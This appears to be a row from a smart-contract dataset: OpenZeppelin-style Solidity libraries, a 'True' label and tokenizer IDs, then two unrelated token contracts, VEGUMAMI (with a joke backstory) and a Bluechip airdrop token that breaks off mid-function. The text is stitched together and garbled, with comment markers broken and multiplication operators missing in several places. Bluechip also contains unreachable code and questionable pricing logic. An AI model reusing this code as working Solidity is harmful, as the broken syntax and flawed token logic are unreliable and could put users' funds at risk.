value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view virtual returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. / interface IERC20Permit { /* * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. / function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /* * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. / function nonces(address owner) external view returns (uint256); /* * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. / // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. / library ECDSA { /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /* * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. / function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 \|\| v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /* * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../math/SafeMath.sol"; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. / library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ / abstract contract EIP712 { / solhint-disable var-name-mixedcase / // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; / solhint-enable var-name-mixedcase / /* * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. / constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _getChainId(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /* * @dev Returns the domain separator for the current chain. / function _domainSeparatorV4() internal view virtual returns (bytes32) { if (_getChainId() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /* * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` / function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1000, 1012, 1013, 8860, 1013, 4651, 16001, 4842, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 6327, 1013, 1045, 8545, 2705, 2683, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 1045, 19496, 8197, 10994, 3567, 11314, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 1045, 19496, 8197, 10994, 20528, 2618, 6292, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'VEGUMAMI' token contract // // Deployed to : 0xb819f61363DCF575E1cF91464D2Db720152Ee07A // Symbol : UMAMI // Name : VEGUMAMI // Total supply: 1000000000000000 // Decimals : 18 // // WWW.VEGUMAMI.COM // The year is 2079 Elon musk made a pact with the Aliens called Vegumami and through them // came to the advanced technologies of the universe. One of the Creatures the Vegumamis // and Elon created together is the Cyborg Doge called $Umami // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract VEGUMAMI is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function VEGUMAMI() public { symbol = "UMAMI"; name = "VEGUMAMI"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[0xb819f61363DCF575E1cF91464D2Db720152Ee07A] = _totalSupply; Transfer(address(0), 0xb819f61363DCF575E1cF91464D2Db720152Ee07A, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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pragma solidity ^0.4.18; /** * @title SafeMath / library SafeMath { /* * Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Bluechip is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "BLUECHIPS"; string public constant symbol = "BCHIP"; uint public constant decimals = 8; uint256 public totalSupply = 10000000000e8; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 25000000e8; uint256 public constant minContribution = 5 ether / 5; // 5 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function Bluechip () public { owner = msg.sender; uint256 devTokens = 4000000000e8; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; distributionFinished = false; emit DistrFinished(); return false; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 5 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 